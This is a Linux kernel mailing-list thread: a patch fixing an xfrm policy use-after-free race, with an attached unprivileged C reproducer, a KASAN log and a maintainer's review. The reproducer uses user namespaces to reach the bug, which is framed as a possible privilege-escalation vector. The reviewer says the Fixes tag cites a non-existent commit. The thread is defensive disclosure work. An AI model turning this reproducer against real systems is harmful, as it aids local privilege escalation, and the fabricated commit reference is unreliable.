[PATCH] xfrm: policy: Fix use-after-free on inexact bin in xfrm_policy_bysel_ctx()

[PATCH] xfrm: policy: Fix use-after-free on inexact bin in xfrm_policy_bysel_ctx()

[Sanghyun Park]

[-- Attachment #1: Type: text/plain, Size: 4633 bytes --]

xfrm_policy_bysel_ctx() saves a pointer to a xfrm_pol_inexact_bin
while holding xfrm_policy_lock, then drops the lock to call
xfrm_policy_kill(). After that it calls
xfrm_policy_inexact_prune_bin() on the saved pointer. A concurrent
xfrm_hash_rebuild (triggered by XFRM_MSG_NEWSPDINFO) can free the bin
via __xfrm_policy_inexact_flush() -> kfree_rcu() during the window
where the lock is not held, making the saved pointer stale.

Fix by pruning the bin while still holding xfrm_policy_lock, before
dropping it. Use __xfrm_policy_inexact_prune_bin() directly since the
lock is already held. This is safe because the function uses
kfree_rcu() for the actual free, which is non-blocking. The wrapper
xfrm_policy_inexact_prune_bin() becomes unused and is removed.

Race:

  CPU0 (XFRM_MSG_DELPOLICY)         CPU1 (XFRM_MSG_NEWSPDINFO)
  ============================       ==========================
  xfrm_policy_bysel_ctx():
    spin_lock_bh(xfrm_policy_lock)
    bin = xfrm_policy_inexact_lookup()
    __xfrm_policy_unlink(pol)
    spin_unlock_bh(xfrm_policy_lock)
    xfrm_policy_kill(ret)
    // wide window, lock not held
                                     xfrm_hash_rebuild():
                                       spin_lock_bh(xfrm_policy_lock)
                                       __xfrm_policy_inexact_flush():
                                         kfree_rcu(bin)  // bin freed
                                       spin_unlock_bh(xfrm_policy_lock)
    xfrm_policy_inexact_prune_bin(bin)
    // UAF: bin is freed

Reproduction:

  1. Build kernel >= 4.19 with CONFIG_KASAN=y, CONFIG_XFRM=y,
     CONFIG_USER_NS=y (for unprivileged reproduction)
  2. Boot in a VM
  3. Compile: gcc -O2 -o repro -static -pthread repro.c
  4. Run as any unprivileged user: ./repro 30 4
     (30 seconds duration, 4 threads per type)
  5. Check dmesg for: BUG: KASAN: slab-use-after-free in xfrm_policy_bysel_ctx

  The reproducer is fully unprivileged: it uses unshare(CLONE_NEWUSER |
  CLONE_NEWNET) to get CAP_NET_ADMIN inside a user namespace, then
  races XFRM_MSG_DELPOLICY (by selector) against XFRM_MSG_NEWSPDINFO
  (threshold changes that trigger hash rebuilds).

  Note: the race is hard to trigger with vanilla kfree_rcu because the
  actual free is deferred past the typical stale-access window. Adding a
  cond_resched() delay after xfrm_policy_kill() or replacing kfree_rcu
  with kfree (for testing only) makes it reliably reproducible. The
  lifetime violation exists regardless of whether KASAN catches it on a
  given run.

KASAN report (reproduced on 6.12.91 with immediate kfree for testing):

  BUG: KASAN: slab-use-after-free in xfrm_policy_bysel_ctx.cold+0x59/0xb8
  Read of size 8 at addr ffff8881153c4700 by task repro_xfrm/387

  Call Trace:
   xfrm_policy_bysel_ctx.cold+0x59/0xb8
   xfrm_get_policy+0x7df/0xc00
   xfrm_user_rcv_msg+0x41b/0x950
   netlink_rcv_skb+0x16d/0x420

Fixes: 9cf545ebd5d8 ("xfrm: policy: implement selector-based inexact lookup")
Signed-off-by: Sanghyun Park <sanghyun.park.cnu@gmail.com>
---

Hi,

I'm Sanghyun Park, a security researcher. I found this while auditing
the XFRM policy code. The bug has existed since 4.19 and affects all
kernels since then. It is triggerable by any unprivileged user via user
namespaces (CLONE_NEWUSER + CLONE_NEWNET), making it a potential LPE
vector on systems with user namespaces enabled (all major distros by
default: Ubuntu, Fedora, Debian, Arch, etc.).

The C reproducer is attached separately (repro.c).

 net/xfrm/xfrm_policy.c | 14 +++++---------
 1 file changed, 5 insertions(+), 9 deletions(-)

diff --git a/net/xfrm/xfrm_policy.c b/net/xfrm/xfrm_policy.c
index fca07f8e60..fef6cff511 100644
--- a/net/xfrm/xfrm_policy.c
+++ b/net/xfrm/xfrm_policy.c
@@ -1156,15 +1156,6 @@ static void
__xfrm_policy_inexact_prune_bin(struct xfrm_pol_inexact_bin *b, bool
  }
 }

-static void xfrm_policy_inexact_prune_bin(struct xfrm_pol_inexact_bin *b)
-{
- struct net *net = read_pnet(&b->k.net);
-
- spin_lock_bh(&net->xfrm.xfrm_policy_lock);
- __xfrm_policy_inexact_prune_bin(b, false);
- spin_unlock_bh(&net->xfrm.xfrm_policy_lock);
-}
-
 static void __xfrm_policy_inexact_flush(struct net *net)
 {
  struct xfrm_pol_inexact_bin *bin, *t;
@@ -1707,12 +1698,14 @@ xfrm_policy_bysel_ctx(struct net *net, const
struct xfrm_mark *mark, u32 if_id,
  }
  ret = pol;
  }
+
+ if (bin && ret && delete)
+ __xfrm_policy_inexact_prune_bin(bin, false);
+
  spin_unlock_bh(&net->xfrm.xfrm_policy_lock);

  if (ret && delete)
  xfrm_policy_kill(ret);
- if (bin && delete)
- xfrm_policy_inexact_prune_bin(bin);
  return ret;
 }
 EXPORT_SYMBOL(xfrm_policy_bysel_ctx);

[-- Attachment #2: kasan_dmesg.txt --]
[-- Type: text/plain, Size: 3264 bytes --]

[   42.057680] BUG: KASAN: slab-use-after-free in xfrm_policy_bysel_ctx.cold+0x59/0xb8
[   42.058579] Read of size 8 at addr ffff8881153c4700 by task repro_xfrm/387

[   42.059544] CPU: 1 UID: 0 PID: 387 Comm: repro_xfrm Not tainted 6.12.91-dirty #23
[   42.059555] Hardware name: QEMU Ubuntu 25.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   42.059562] Call Trace:
[   42.059575]  <TASK>
[   42.059582]  dump_stack_lvl+0xba/0x110
[   42.059623]  ? xfrm_policy_bysel_ctx.cold+0x59/0xb8
[   42.059630]  print_report+0x174/0x4f6
[   42.059665]  ? __virt_addr_valid+0x86/0x670
[   42.059701]  ? xfrm_policy_bysel_ctx.cold+0x59/0xb8
[   42.059708]  kasan_report+0xda/0x110
[   42.059736]  ? xfrm_policy_bysel_ctx.cold+0x59/0xb8
[   42.059745]  xfrm_policy_bysel_ctx.cold+0x59/0xb8
[   42.059753]  ? __pfx_xfrm_policy_bysel_ctx+0x10/0x10
[   42.059768]  ? find_held_lock+0x2d/0x110
[   42.059798]  xfrm_get_policy+0x7df/0xc00
[   42.059821]  ? __pfx_xfrm_get_policy+0x10/0x10
[   42.059828]  ? hlock_class+0x4e/0x130
[   42.059834]  ? cap_capable+0x1d4/0x240
[   42.059879]  ? __nla_parse+0x40/0x60
[   42.059908]  ? __pfx_xfrm_get_policy+0x10/0x10
[   42.059914]  xfrm_user_rcv_msg+0x41b/0x950
[   42.059921]  ? __pfx_xfrm_user_rcv_msg+0x10/0x10
[   42.059926]  ? hlock_class+0x4e/0x130
[   42.059932]  ? __lock_acquire+0xfdf/0x3b50
[   42.059951]  ? __mutex_trylock_common+0xde/0x250
[   42.059957]  ? __pfx___mutex_trylock_common+0x10/0x10
[   42.059962]  netlink_rcv_skb+0x16d/0x420
[   42.059968]  ? __pfx_xfrm_user_rcv_msg+0x10/0x10
[   42.059973]  ? __pfx_netlink_rcv_skb+0x10/0x10
[   42.059977]  ? netlink_deliver_tap+0x1af/0xd50
[   42.059998]  xfrm_netlink_rcv+0x76/0x90
[   42.060003]  netlink_unicast+0x58c/0x850
[   42.060010]  ? __pfx_netlink_unicast+0x10/0x10
[   42.060018]  netlink_sendmsg+0x8f7/0xdc0
[   42.060026]  ? __pfx_netlink_sendmsg+0x10/0x10
[   42.060034]  ? __pfx_netlink_sendmsg+0x10/0x10
[   42.060041]  ____sys_sendmsg+0x907/0xa60
[   42.060075]  ? __pfx_____sys_sendmsg+0x10/0x10
[   42.060081]  ? netlink_recvmsg+0x77b/0xe60
[   42.060088]  ___sys_sendmsg+0x197/0x1e0
[   42.060093]  ? __pfx____sys_sendmsg+0x10/0x10
[   42.060104]  __sys_sendmsg+0x176/0x220
[   42.060120]  ? __pfx___sys_sendmsg+0x10/0x10
[   42.060128]  ? trace_x86_fpu_regs_activated+0x5d/0x1b0
[   42.060154]  do_syscall_64+0xbb/0x1f0
[   42.060174]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   42.060202] RIP: 0033:0x455b82
[   42.060219] Code: 08 0f 85 71 df ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 55 48 89 e5
[   42.060224] RSP: 002b:00007f3dfc9a3f68 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[   42.060247] RAX: ffffffffffffffda RBX: 00007f3dfc9a56c0 RCX: 0000000000455b82
[   42.060251] RDX: 0000000000000000 RSI: 00007f3dfc9a3fe0 RDI: 0000000000000004
[   42.060254] RBP: 00007f3dfc9a3f90 R08: 0000000000000000 R09: 0000000000000000
[   42.060257] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000020
[   42.060260] R13: ffffffffffffffd0 R14: 0000000000000001 R15: 00007ffeb5970cb0
[   42.060266]  </TASK>

[   42.090666] Allocated by task 387:
[   42.091077]  kasan_save_stack+0x30/0x50

[-- Attachment #3: repro.c --]
[-- Type: application/octet-stream, Size: 8404 bytes --]

/*
 * XFRM Policy Inexact Bin UAF PoC
 *
 * Bug: xfrm_policy_bysel_ctx() saves a bin pointer, drops xfrm_policy_lock,
 * calls xfrm_policy_kill() (wide window), then uses the stale bin pointer
 * in xfrm_policy_inexact_prune_bin(). A concurrent xfrm_hash_rebuild can
 * free the bin via __xfrm_policy_inexact_flush -> kfree_rcu during that window.
 *
 * Race:
 *   Thread A: XFRM_MSG_NEWSPDINFO -> xfrm_policy_hash_rebuild -> schedule_work
 *             -> xfrm_hash_rebuild -> __xfrm_policy_inexact_flush -> kfree_rcu(bin)
 *   Thread B: XFRM_MSG_DELPOLICY (by selector, index=0) -> xfrm_policy_bysel_ctx
 *             -> saves bin, unlinks policy, drops lock, xfrm_policy_kill(ret),
 *             -> xfrm_policy_inexact_prune_bin(stale_bin) -> UAF
 *
 * Reachability: Fully unprivileged via unshare(CLONE_NEWUSER|CLONE_NEWNET).
 * XFRM netlink uses netlink_net_capable() which accepts CAP_NET_ADMIN
 * inside the user namespace's network namespace.
 *
 * Expected: KASAN slab-use-after-free on xfrm_policy_inexact_prune_bin
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <linux/xfrm.h>

/* XFRM message types */
#ifndef XFRM_MSG_NEWPOLICY
#define XFRM_MSG_NEWPOLICY 0x13
#endif
#ifndef XFRM_MSG_DELPOLICY
#define XFRM_MSG_DELPOLICY 0x14
#endif
#ifndef XFRM_MSG_NEWSPDINFO
#define XFRM_MSG_NEWSPDINFO 0x20
#endif

/* XFRM SPD attributes (from enum xfrm_spdattr_type_t) */
#ifndef XFRMA_SPD_IPV4_HTHRESH
#define XFRMA_SPD_IPV4_HTHRESH 3
#endif

#ifndef XFRMA_SPD_UNSPEC
#define XFRMA_SPD_UNSPEC 0
#endif

/* Netlink helpers */
#define NLMSG_TAIL(nmsg) \
	((struct nlattr *)(((char *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

static int nl_fd;
static volatile int stop_flag;

static int nl_open(void)
{
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (fd < 0) {
		perror("socket(NETLINK_XFRM)");
		return -1;
	}
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		perror("bind");
		close(fd);
		return -1;
	}
	return fd;
}

static int nl_send(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = {
		.msg_name = &sa,
		.msg_namelen = sizeof(sa),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	return sendmsg(fd, &msg, 0);
}

static int nl_recv_ack(int fd)
{
	char buf[4096];
	int n = recv(fd, buf, sizeof(buf), 0);
	if (n < 0) return -1;
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	if (nlh->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
		return err->error;
	}
	return 0;
}

static void add_attr(struct nlmsghdr *nlh, int maxlen, int type,
		     const void *data, int datalen)
{
	struct nlattr *nla = NLMSG_TAIL(nlh);
	int len = NLA_HDRLEN + datalen;
	nla->nla_type = type;
	nla->nla_len = len;
	memcpy((char *)nla + NLA_HDRLEN, data, datalen);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(len);
}

/*
 * Add an inexact XFRM policy with selector 0.0.0.0/0 -> 0.0.0.0/0
 * This goes into the inexact bin because prefixlen < hash threshold (32).
 */
static int add_inexact_policy(int fd)
{
	char buf[512];
	memset(buf, 0, sizeof(buf));

	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_userpolicy_info));
	nlh->nlmsg_type = XFRM_MSG_NEWPOLICY;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nlh->nlmsg_seq = 1;

	struct xfrm_userpolicy_info *pol = NLMSG_DATA(nlh);
	pol->sel.family = AF_INET;
	pol->sel.prefixlen_d = 0;  /* /0 -> inexact */
	pol->sel.prefixlen_s = 0;  /* /0 -> inexact */
	pol->dir = XFRM_POLICY_OUT;
	pol->action = XFRM_POLICY_ALLOW;
	pol->lft.soft_byte_limit = XFRM_INF;
	pol->lft.hard_byte_limit = XFRM_INF;
	pol->lft.soft_packet_limit = XFRM_INF;
	pol->lft.hard_packet_limit = XFRM_INF;

	if (nl_send(fd, nlh) < 0) return -1;
	return nl_recv_ack(fd);
}

/*
 * Delete the inexact policy by selector (index=0 forces bysel_ctx path)
 */
static int del_inexact_policy(int fd)
{
	char buf[512];
	memset(buf, 0, sizeof(buf));

	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_userpolicy_id));
	nlh->nlmsg_type = XFRM_MSG_DELPOLICY;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 2;

	struct xfrm_userpolicy_id *pid = NLMSG_DATA(nlh);
	pid->sel.family = AF_INET;
	pid->sel.prefixlen_d = 0;
	pid->sel.prefixlen_s = 0;
	pid->dir = XFRM_POLICY_OUT;
	pid->index = 0;  /* force bysel_ctx path */

	if (nl_send(fd, nlh) < 0) return -1;
	return nl_recv_ack(fd);
}

/*
 * Change SPD hash thresholds to trigger xfrm_policy_hash_rebuild.
 * Alternating between 0/0 and 32/32 forces a rebuild each time.
 */
static int set_spdinfo(int fd, __u8 lbits, __u8 rbits)
{
	char buf[256];
	memset(buf, 0, sizeof(buf));

	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	/* NEWSPDINFO base payload is sizeof(u32) */
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(__u32));
	nlh->nlmsg_type = XFRM_MSG_NEWSPDINFO;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 3;

	__u32 *flags = NLMSG_DATA(nlh);
	*flags = 0;

	struct xfrmu_spdhthresh thresh = { .lbits = lbits, .rbits = rbits };
	add_attr(nlh, sizeof(buf), XFRMA_SPD_IPV4_HTHRESH, &thresh, sizeof(thresh));

	if (nl_send(fd, nlh) < 0) return -1;
	return nl_recv_ack(fd);
}

/*
 * Thread A: repeatedly trigger hash rebuild by flipping SPD thresholds.
 * This causes xfrm_hash_rebuild -> __xfrm_policy_inexact_flush which
 * may kfree_rcu the bin if it becomes empty.
 */
static void *rebuild_thread(void *arg)
{
	int fd = nl_open();
	if (fd < 0) return NULL;

	while (!stop_flag) {
		set_spdinfo(fd, 0, 0);
		set_spdinfo(fd, 32, 32);
	}
	close(fd);
	return NULL;
}

/*
 * Thread B: repeatedly add and delete an inexact policy.
 * The delete goes through xfrm_policy_bysel_ctx which has the stale bin bug.
 */
static void *addel_thread(void *arg)
{
	int fd = nl_open();
	if (fd < 0) return NULL;

	while (!stop_flag) {
		int err = add_inexact_policy(fd);
		if (err && err != -EEXIST) {
			/* Policy might already exist from a previous iteration */
		}
		del_inexact_policy(fd);
	}
	close(fd);
	return NULL;
}

static void setup_ns(void)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		perror("unshare(CLONE_NEWUSER|CLONE_NEWNET)");
		fprintf(stderr, "Trying without unshare (need root)...\n");
		return;
	}

	/* Write uid/gid maps for the user namespace */
	FILE *f;
	f = fopen("/proc/self/setgroups", "w");
	if (f) { fprintf(f, "deny"); fclose(f); }

	f = fopen("/proc/self/uid_map", "w");
	if (f) { fprintf(f, "0 %d 1", getuid()); fclose(f); }

	f = fopen("/proc/self/gid_map", "w");
	if (f) { fprintf(f, "0 %d 1", getgid()); fclose(f); }
}

int main(int argc, char **argv)
{
	int duration = 60; /* seconds */
	int nthreads = 4;  /* number of each type */

	if (argc > 1) duration = atoi(argv[1]);
	if (argc > 2) nthreads = atoi(argv[2]);

	printf("[*] XFRM Policy Inexact Bin UAF PoC\n");
	printf("[*] Duration: %d seconds, threads: %d per type\n", duration, nthreads);

	setup_ns();

	/* Verify we can open XFRM netlink */
	int test_fd = nl_open();
	if (test_fd < 0) {
		fprintf(stderr, "[-] Cannot open NETLINK_XFRM, aborting\n");
		return 1;
	}

	/* Set initial thresholds to 32/32 (default) so /0 policies go inexact */
	int err = set_spdinfo(test_fd, 32, 32);
	if (err) {
		fprintf(stderr, "[-] set_spdinfo failed: %d (need CAP_NET_ADMIN in netns)\n", err);
		close(test_fd);
		return 1;
	}
	printf("[+] XFRM netlink operational in namespace\n");
	close(test_fd);

	pthread_t *rebuild_tids = calloc(nthreads, sizeof(pthread_t));
	pthread_t *addel_tids = calloc(nthreads, sizeof(pthread_t));

	printf("[*] Starting %d rebuild + %d add/del threads...\n", nthreads, nthreads);

	for (int i = 0; i < nthreads; i++) {
		pthread_create(&rebuild_tids[i], NULL, rebuild_thread, NULL);
		pthread_create(&addel_tids[i], NULL, addel_thread, NULL);
	}

	sleep(duration);
	stop_flag = 1;

	printf("[*] Stopping threads...\n");
	for (int i = 0; i < nthreads; i++) {
		pthread_join(rebuild_tids[i], NULL);
		pthread_join(addel_tids[i], NULL);
	}

	free(rebuild_tids);
	free(addel_tids);

	printf("[*] Done. Check dmesg for KASAN reports.\n");
	return 0;
}

Re: [PATCH] xfrm: policy: Fix use-after-free on inexact bin in xfrm_policy_bysel_ctx()

[Florian Westphal]

Sanghyun Park <sanghyun.park.cnu@gmail.com> wrote:
> Fix by pruning the bin while still holding xfrm_policy_lock, before
> dropping it. Use __xfrm_policy_inexact_prune_bin() directly since the
> lock is already held. This is safe because the function uses
> kfree_rcu() for the actual free, which is non-blocking. The wrapper
> xfrm_policy_inexact_prune_bin() becomes unused and is removed.
> 
> Race:
> 
>   CPU0 (XFRM_MSG_DELPOLICY)         CPU1 (XFRM_MSG_NEWSPDINFO)
>   ============================       ==========================
>   xfrm_policy_bysel_ctx():
>     spin_lock_bh(xfrm_policy_lock)
>     bin = xfrm_policy_inexact_lookup()
>     __xfrm_policy_unlink(pol)
>     spin_unlock_bh(xfrm_policy_lock)
>     xfrm_policy_kill(ret)
>     // wide window, lock not held
>                                      xfrm_hash_rebuild():
>                                        spin_lock_bh(xfrm_policy_lock)
>                                        __xfrm_policy_inexact_flush():
>                                          kfree_rcu(bin)  // bin freed
>                                        spin_unlock_bh(xfrm_policy_lock)
>     xfrm_policy_inexact_prune_bin(bin)
>     // UAF: bin is freed

This changelog is fine, rest is too verbose.

> Fixes: 9cf545ebd5d8 ("xfrm: policy: implement selector-based inexact lookup")

There is no such commit, neither ID nor subject.
If you use AI assistance, please check for hallucinations.

Probably:
Fixes: 6be3b0db6db8 ("xfrm: policy: add inexact policy search tree infrastructure")

> + if (bin && ret && delete)
> + __xfrm_policy_inexact_prune_bin(bin, false);

Looks like this patch is whitespace-damaged.
Could you also say in changelog why you added the 3rd criterion?

> - if (bin && delete)

Became (bin && ret && delete).